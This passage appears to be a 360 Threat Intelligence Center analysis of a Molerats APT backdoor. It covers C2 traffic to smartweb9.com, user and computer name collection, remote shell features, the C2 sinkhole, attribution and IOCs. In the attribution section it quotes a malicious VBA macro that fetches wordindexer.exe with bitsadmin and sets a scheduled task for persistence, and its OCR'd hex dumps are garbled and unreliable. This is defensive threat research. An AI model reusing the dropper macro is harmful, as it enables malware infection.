| 2077CE58   5 6 6 3 6 7   54 6 5 6 4 00   54 6 6 7   57 2 6 7 1 8 7 8 7 5   57 2 6 1 7 2 8 7 1 8 6 7 1 8 7   |   | 007CEC38  | 6E  | 2F   | 78   | 2D 77  | 77   | 77   | 2D 6  | 6 6F  | - 72        | 6D : | 2D 7         | 5 72          | 60          | 3 n/s    | x-www  | -for        | n-url  |                                       |    | 002  | 21 396    | 0022  | CYEO<br>GOOL |        |              |       |      |            |        |             |        |
| 2077CE58 77 65 72 40 173 65 60 66 12 72 47 75 65 8 77 69 17 27 147 75 65 18 77 66 73 8 77 66 73 8 78 76 18 87 1 19 17 17 17 17 17 17 17 17 17 17 17 17 17   |   | 007CEC48  | 65  | 6E   | 63   | 6F 64  | 65   | 64   | 6D (  | IA 66 | 5 72        | 6F   | 6D 3         | A 20          | 75          | 5 en     | coded  | <u>- fr</u> | on: u  |                                       |    | 0.02 | 25390     | 0000  | 0004         |        |              |       |      |            |        |             |        |
| 2077にE58 10 0 m 6 8 6 0 1 73 / 4 3 1 20 73 6 6 1 72 / 4 / 7 6 5 2 . n.65 1: 5 mar Cueb 0 0 0 22 F3 mar Cueb 1 0 0 22 F3 mar Cueb 1 0 0 22 F3 mar Cueb 1 0 0 0 22 F3 mar Cueb 1 0 0 0 0 0 mar Cieb 1 3 / 4 3 mar Cueb 1 7 / 6 5 mar Cueb 1 0 mar Cueb 1 7 / 6 5 mar Cueb 1 0 mar Cueb 1 7 / 6 5 mar Cueb 1 0 mar Cueb 1 7 / 6 2 mar Cueb 1 7 / 6 6 mar Cueb 1 7 / 6 6 mar Cueb 1 7 / 7 ma   |   | 007CEC58  | 73  | 65   | 72   | 40 73  | 66   | 6D   | 60 2  | D 64  | + 65        | 76   | 2E 6         | F 72          | 67          | sei      | r@sfm  | 1-de        | v.org  |                                       |    | 0.02 | 222308    | -0022 | F2E0         |        |              |       |      |            |        |             |        |
| 1007にECEN 37 22 53 67 160 00 80 71 73 67 27 21 65 75 55 67 15 17 55 67 15 11 11 15 17 10 15 10 10 10 17 10 15 10 10 10 10 10 10 10 10 10 10 10 10 10  | j | 007CEC68  | UL  | UA   | 68   | 0F 73  | 74   | 38   | 28 7  | 3 60  | 01          | 72   | (4 (         | / 05          | 02          | <u> </u> | nost:  | sna         | rtweb  |                                       |    | 0.02 | 2F308     | 0022  | 72F8         | 16년 DE | 하주네          | ihel  | n B  | 8417       | PEG I  | と<br>白<br>の | 188.01 |
| 007/EC583 / 3 / 2 / 0 / 0 / 0 / 2 / 2 / 2 / 2 / 2 / 2   | l | 00/CEC/8  | 35  | ZE   | 03   | 0F 00  | 40   | 01   | 15 1  | 3 05  | 2 72        | 20   | 01 0<br>46 7 | / 05<br>1. 77 | OE<br>ZF    | 12.1     | COM    | user        | -agen  |                                       |    | 662  | 2F3AC     | 8870  |              | ASC    | 1389<br>TT " | POST  | /    | ITTP.      | /1.1   | r\nco       | nnect  |
| 1977CECR8 / 6 5 2 Ab AB / 75 7 B 6A AG (B 53 33 AS) 基 5 9 7 / 60 1 PERMON JAK23CHPUND 00227930 0000 000 000 000 000 000 000 000 000  | 1 | 00765600  | 70  | AD   | 20   | 99 95  | 70   | 7 O  | 80 6  | 0 00  | , 20<br>1.9 | 76   | 96 E         | 4 //<br>9 hE  | 78          |          | 1105   | - TIIIT     | uliSNo |                                       |    | 662  | 2F3B0     | 0000  | ØØFA         |        |              |       |      |            |        |             |        |
| 007CEC08 78 68 66 4F 64 4A 65 31 73 53 43 6C 69 43 2F 66 pkF00JeTSSCLIC/F 00022F888 022F988 0022F988 00080000 0022F880 0022F988 00080000 0022F880 0022F981 00080000 00080000 000F04000000000000000  | 1 | 8870FCA8  | 60  | 52   | ЬD   | 4R 75  | 78   | 68   | 40 6  | B 52  | 1 33        | 43   | 4F 5         | Ø 77          | 68          | IR       | MKuxi  | JkS3        | CNPub  |                                       |    | 0.02 | 2F3B4     | 0022  | F3BC         | 返回     | 미쥔           | 8822  | F3B  | 3          |        |             |        |
| 987CECC8 60 41 41 71 62 46 41 77 76 65 38 47 69 48 33 78 mAngbFawve861H3x<br>907CECD8 54 57 45 65 67 43 34 77 48 73 80 00 00 80 00 00 TWEegC4wKS 9022F300 0022F300 0022F911   | 1 | AA7CECB8  | 71  | 6B   | 66   | 4F 64  | 40   | 65   | 31 7  | 3 52  | 3 43        | 60   | 69 4         | 3 2F          | 66          | 5 nk     | FOdJe  | 1550        | lic/f  |                                       |    | 0.02 | 2F3B8     | 0022  |              |        |              |       |      |            |        |             |        |
| 007CECD8 54 57 45 65 67 43 34 77 4B 73 00 00 00 00 00 00 TWEegC4wKs 00022F3C8 0022F3C4  |   | 007CECC8  | 60  | 41   | 41   | 71 62  | 46   | 41   | 77 7  | 6 65  | 5 38        | 47   | 69 4         | 8 33          | 78          | 3 88     | AabFA  | wve8        | GiH3x  |                                       |    | 862  | 2F3BC     | 8888  |              |        |              |       |      |            |        |             |        |
|   |   | 007CECD8  | 51  | 57   | 45   | 65 67  | 43   | 34   | 77 4  | B 73  | 3 88        | 88   | 88 8         | 8 88          | 66          | a TW     | EegC4  | wKs.        |        |                                       |    | 862  | 2F3C0     | 8822  |              |        |              |       |      |            |        |             |        |

The data returned by C2 will then be received and decrypted. The decrypted data contains keyword Demi which is supposed to inform the client to upload the collected information.

地址 HEX 数据 95897853 0022FB84 81 A4 45 65 60 69 69 98 B8 FB 22 98 86 98 96 98 68 97 98 18 FB 22 98 86 98 95 18 FB 22 98 95 18

The sample collects information, such as the user name and computer name, and a string similar to the UUID. Then encrypts and encodes the information in the same way and sends it back to C2.

```
SUD IBIBF2F((INT)&VII, (INT)&VI0);
 v18 = 1;
 v2 = sub 1B1BF78(&v11);
 sub 1B1BFC1(v2);
 v3 = jm 1B1C00A(&v16);
 sub 1B1C053(v3);
 j strlen 40429D 59(1, 0);
 v15 = 1;
 sub 1B1C0E5(&v11);
 v17 = v10;
 LOBYTE(v18) = 2;
 sub 1B1C12E(&v15);
 LOBYTE(v18) = 1;
 j strlen 40429D 60(1, 0);
 if ( (char *)sub_1B1C1C0(&v9) != &v11 )
   sub 1B1C209(&v11, 0, -1);
 v12 = 2;
 v4 = j getusername 402936((int)&v16);
 LOBYTE(v18) = 3;
 v5 = sub 1B1C29B(v4);
 sub 1B1C2E4(v5);
 jm 1B1C32D(&v13);
 strlen 1B1C376(1, 0);
 v14 = 1;
 LOBYTE(v18) = 4;
 sub 1B1C3BF(&v12);
 LOBYTE(v18) = 1;
 j strlen 40429D 61(&v13, 1, 0);
 v12 = 3;
v6 = j_GetComputerNameW_40297A((int)&v16);
 LOBYTE(v18) = 5;
 v7 = sub 1B1C49A(v6);
 sub_1B1C4E3(v7);
 j jm 409CCD 2();
 j strlen 40429D 62(1, 0);
 v14 = 1;
 LOBYTE(v18) = 6;
 sub 1B1C5BE(&v12);
 j strlen 40429D 63(1, 0);
)000A6CE getinfo 40A5FC:48 (40A6CE)
```

The data returned from C2 may contain some configuration information. After processing the received data, the backdoor starts to acquire the attacker's instructions periodically in order to perform functions such as remote shell and file operations.

**Remote Shell** 



| File Operat | tion   |  |
|-------------|--|--|
|             | call   | near ptr <mark>75757648h</mark> ; kernel32.FindFirstFileExW  |
|             | nop<br>mov<br>cmp<br>jnz<br>mov<br>push<br>push<br>push<br>call<br>add | esi, eax<br>esi, 0FFFFFFFh<br>short loc_431C29<br>eax, [ebp-258h]<br>eax<br>edi<br>edi<br>ebx<br>sub_1B878AA<br>esp, 10h                                 |
|             | mov  | ; CODE XREF: sub_1B8774F-1755AD2↓j<br>edi, eax   |
|             | cmp<br>jz<br>push<br>call  | <pre>; CODE XREF: sub_1B8774F:loc_1B879C9+j ; sub_1B8774F:loc_1B87A5B+j esi, 0FFFFFFFh short loc_431C16 esi near ptr 25750E62b; kernel32.FindClose</pre> |

# Sinkhole

Since 360 Threat Intelligence Center shared related information on the social media immediately after discovering the sample[1], the C2 has been taken over by security company or related agency before February 10.

| 2019-02-10 06:25:11 | 2019-02-10 06:25:11 | 1 | smartweb9.com | А | 198.54.117.244 |
|---------------------|---------------------|---|---------------|---|----------------|
| 2019-02-01 03:44:13 | 2019-02-04 15:05:48 | 6 | smartweb9.com | Α | 79.124.60.40   |

By querying VirusTotal, we find that the IP address (198.54.117.244) being used to take over the C2 domain is associated with a large number of malicious domains.

| 198  | 3.54.117.244 IP | address information |                            |
|------|-----------------|---------------------|----------------------------|
| Cou  | ntry            | US                  |                            |
| Auto | onomous system  | 30186 (Toqen LLC)   |                            |
|      | Passive DNS R   | eplication ©        |                            |
|      | Date resolved   |                     | Domain                     |
|      | 2019-02-12      |                     | zor.org                    |
|      | 2019-02-12      |                     | 1sexe.com                  |
|      | 2019-02-12      |                     | frivols.stream             |
|      | 2019-02-12      |                     | ablumenal.review           |
|      | 2019-02-12      |                     | agnatemineralogy.bid       |
|      | 2019-02-12      |                     | oeilladelaburnine.bid      |
|      | 2019-02-12      |                     | fumagehamadryad.bid        |
|      | 2019-02-12      |                     | malacoplakia.stream        |
|      | 2019-02-12      |                     | essaycourtehouse.bid       |
|      | 2019-02-12      |                     | filtermanner.bid           |
|      | 2019-02-12      |                     | asynclitic.stream          |
|      | 2019-02-12      |                     | monstrousnessjunket.bid    |
|      | 2019-02-12      |                     | shmoobaggy.stream          |
|      | 2019-02-12      |                     | pauperizationcanker.bid    |
|      | 2019-02-12      |                     | tjhellmann.com             |
|      | 2019-02-12      |                     | dukenorermine.bid          |
|      | 2019-02-12      |                     | impunctualityblasphemy.bid |
|      | 2019-02-12      |                     | cubbiesed.stream           |

Through 360 threat analysis platform, it can be seen that both belong to a same domain name service provider.



Therefore, we have reason to believe that after the 360 Threat Intelligence Center shared the information, the domain name service provider got notified by some relevant organizations to take over the C2 to avoid more attacks.

## Attribution

After analyzing those samples, the attack was suspected to be carried out by Molerats APT with part of the associations as follows.

#### Similarity in the bait document

Highly similar to some of the bait documents used by Kaza Cybergang (Molerats), which were disclosed by Kaspersky in 2017. Both are related to the Gaza region and Hamas.

| ≡ Google 翻译   |   |
|---|---|
| <ul> <li>ス 文字</li> <li>▲ 文档</li> </ul>  |   |
| 检测到阿拉伯语 英语 中文 德语 ✔ ←  | * 中文(简体) 英语 日语 、  |
| <ul> <li>من المترر ان يصل وقد من المغابرات العنه المصرية اليوم العميس الى قطاع عزه .</li> <li>ويصل الولد الم النظاع عبر معر بيت خانون 'الرز' في زيار فنتشر خد ساعت.</li> <li>وسيجتمع الولد المصري مع فياده حركة حملى وباللي المصائل لبحث الغر تطور ات معلى التهداء والمصلحة. جيث من المزل في ان بقد الولد ورفة تتصن .</li> <li>1. قت ممبر رفع لي كذا الاتجابين له اينم المو عل.</li> <li>1. قت ممبر رفع لي كذا الاتجابين له النزم المو على المحلي الى المحلي الى معرف المان المحلي المح</li></ul> | A delegation from the Egyptian General Intelligence Service is due<br>to arrive in the Gaza Strip on Thursday. The delegation arrives at<br>Beit Hanoun (Erez) crossing for a number of hours.<br>The Egyptian delegation will meet with the leadership of Hamas<br>and other factions to discuss the latest developments in the file<br>of calm and reconciliation.<br>1 - Open a lift in both directions 3 days a week.<br>2. The opening of the Rafah commercial crossing.<br>3 - Provide a new power line for the Gaza Strip.<br>4 - Allow the residents of the sector to perform Umrah to Mecca.<br>5 - Allow the departure of factions delegations to external tours. |
| شهر يناير مقابل ان تقدّم المنحة القطرية 25 مليون دو لار في الخامس من كل شهر<br>و لا فان القنادات المدانية سوف تقو و يتصبعد و بيان هذا الق ان تو از سالة الـ الحاني  | The new country grant is \$ 25 million<br>Hamas sources confirmed that the movement is ready to return  |
| الأسر النبي مع السلير النفري.<br>min almqrr 'an yasil wafd min almukhabarat aleamat almisrita alyawm alkhamis 'illaa<br>qitae ghaza. wayasilu alwafd 'illaa alqitae eabr maebar bayt hanun 'ayrz' fi ziarat<br>tastamiru edi sasetin  | to calm in January in return for the Qatari grant of 25 million<br>dollars on the fifth of each month, and the field leaders will<br>escalate and that this decision was sent to the Israeli side with<br>the Qatari ambassador.  |

#### Similarity in the payload

Similar to those discovered by Kaspersky, the payloads are packed by Enigma Virtual Box and pretend to come from Microsoft.

| e name:           | C:/Users/mm/Des          |              |          |  | General Compatibi    | Ity Security Details Previous Versions |
|-------------------|--------------------------|--------------|----------|--|----------------------|--|
| Scan Scripts Plu  | gins Log                 |              |          |  | Property             | Value                                  |
| Type: PE          | Size: 2488320            | Entropy      |          |  | File description     | Microsoft Help and Support             |
|                   | rt Resource Overlay      |              |          |  | Type<br>File version | Application<br>10.0.17134.137          |
| EntryPoint: 0     | 005f14c >                | ImageBase:   | 00400000 |  | Product name         | MicrosoftA® WindowsA® Operating Sys    |
| NumberOfSections: | 0008 >                   | SizeOfImage: | 002a3000 |  | Product version      | 10.0.17134.137                         |
| protector         | Enigma Virtual Box(-)    |              | s ?      |  | Size                 | 2.37 MB                                |
| linker            | Microsoft Linker(14.0)[E | Œ32]         | s ?      |  | Date modified        | 2/1/2019 10:57 AM                      |
|                   |                          |              |          |  | Language             | Language Neutral                       |

#### 被注释的下载地址

The URL got commented out in the macro is the same as the one mentioned in Kaspersky's report[13].

| Option Compare Database   |
|---|
| Private Sub Form_Load()   |
| Dim urlfile As String   |
| urlfile = "http://download.data-server.cloudns.club/wordindexer.exe"  |
| Shell "cmd.exe /c bitsadmin /create /download nn ", vbHide<br>Shell "cmd.exe /c bitsadmin /transfer nn " & urlfile & " tuserprofilet\appdata\wordindexer.exe", vbHide<br>Shell "cmd.exe /c schtasks /create /sc minute /tn runcolener /tr tuserprofilet\appdata\wordindexer.exe", vbHide<br>Shell "cmd.exe /c schtasks /run /tn runcolener", vbHide |
| 'MsgBox ("cmd.exe /c reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host\Settings"" /t   |
| <pre>'urlfile = "http://download.data-server.cloudns.club/wordindexer.exe"</pre>  |

Macro code from samples provided in Kaspersky's report.

| 📑 email   |  |   | - • ×   |  |  |  |
|---|--|---|---|--|--|--|
| تبهم 2017   | الموظفين المقطوعة روا  | لعرض البيانات قاعدة بيانات  | اضغط تمكين المحتوى  |  |  |  |
| ة الرائب:   | استمار   | يحب تمكين المحتوف لعرض البيانات<br>بحب تمكير، المحتوف لعرض البيانات   | الإسم:<br>الدفه المطبقات:                                   |  |  |  |
| lications - 6d6f34f7cfcb64e44d67638a2f33d619-unprotected [设计] - [Form,经艳侨7经説明2016 (代码)] |  |   |   |  |  |  |
| 插入(1) 调试(D) 运行(R) 工具(T) 外接程/  | 茅(A) 窗口(₩) 帮助(H)   |   | 键入需要帮助的   |  |  |  |
| ୬ ୯୦ 🕨 🗉 🔟 🔽 😻 😭 🤫 😣 🕝  | 行1,列1 👳  |   |   |  |  |  |
| ×   | (通用)   | ▼ (声明)  |   |  |  |  |
| ی<br><b>b64e44d57638s2f33d619-unprote)</b><br>t<br>2016                                 | Obtion Compare Backbase           Private Sub Form_Load()           Dim wrifiek as String           wrifile = "http://download.data=serv.           Shall 'end ese /e bitsadwin /grasts.           Tend Sub | r. cloudns. club/vordindexer.exe"<br>downloud na ', White<br>rm na ' durlla ' SuserprofileS%uppdata<br>ic minite / th runsclemer / tr MuserprofileS/u<br>uncclemer', vbbide | vordindezer. exe", vMide<br>ppdata/vordindezer. exe", vMide |  |  |  |

Based on the above information and some other internal related data, 360 Threat Intelligence Center suspects Molerats APT group is the one that launched this attack.

### Conclusion

The Molerats APT group has been in existence for a few years, and has carried out a large number of attacks by using a variety of public and privately owned malware. Attackers are actively improving their toolkit in an effort to minimize their exposure to security products and services.

This group is good at social engineering by sending various types of decoy documents to the target in the attack. The decoy documents usually execute subsequent code through malicious macro. Comparing with Office 0day, using macro needs more user interactions and could reduce the success rate, but this approach is still used by lots of attack groups considering the cost is much lower. It is recommended that users avoid to open documents from untrusted sources, and Office macro should be disabled by default.

| Word Options  |  |   |
|---|--|---|
| Popular<br>Display<br>Proofing<br>Save<br>Advanced<br>Customize<br>Add-Ins<br>Trust Center<br>Resources | Trust Center<br>Trusted Publishers<br>Trusted Locations<br>Add-ins<br>ActiveX Settings<br>Macro Settings<br>Message Bar<br>Privacy Options | Macro Settings         For macros in documents not in a trusted location: <ul> <li>Disable all macros without notification</li> <li>Disable all macros with notification</li> <li>Disable all macros except digitally signed macros</li> <li>Enable all macros (not recommended; potentially dangerous code can run)</li> </ul> Developer Macro Settings <ul> <li>Trust access to the YBA project object model</li> </ul> |

Products of 360 ESG can protect users from this new malware, including 360 Threat Intelligence Platform, SkyEye APT Detection and 360 NGSOC.

IOC

#### MD5

063a50e5e4b4d17a23ac8c8b33501719

46173adc26721fb54f6e1a1091a892d4

#### C2

smartweb9.com

### References

- 1. https://twitter.com/360TIC/status/1091890352066162688
- 2. https://aptmap.netlify.com/#Molerats
- https://middle-east-online.com/en/cyber-war-gaza-hackers-deface-israel-fire-servicewebsite
- 4. http://www.timesofisrael.com/how-israel-police-computers-were-hacked-the-insidestory/
- 5. http://blog.trendmicro.com/trendlabs-security-intelligence/xtreme-rat-targets-israeligovernment/
- 6. http://blog.trendmicro.com/trendlabs-security-intelligence/new-xtreme-rat-attacks-onusisrael-and-other-foreign-governments/
- 7. https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-eastcyber-attacks-using-poison-ivy.html
- 8. https://www.fireeye.com/blog/threat-research/2014/06/molerats-here-for-spring.html
- 9. https://securelist.com/blog/research/72283/gaza-cybergang-wheres-your-ir-team/
- 10. http://www.clearskysec.com/wpcontent/uploads/2016/01/Operation%20DustySky\_TLP\_WHITE.pdf
- 11. http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2\_-6.2016\_TLP\_White.pdf
- 12. https://ti.360.net/blog/articles/gaza-cybergang-apt-sample/
- 13. https://securelist.com/gaza-cybergang-updated-2017-activity/82765/
- 14. https://blog.talosintelligence.com/2017/06/palestine-delphi.html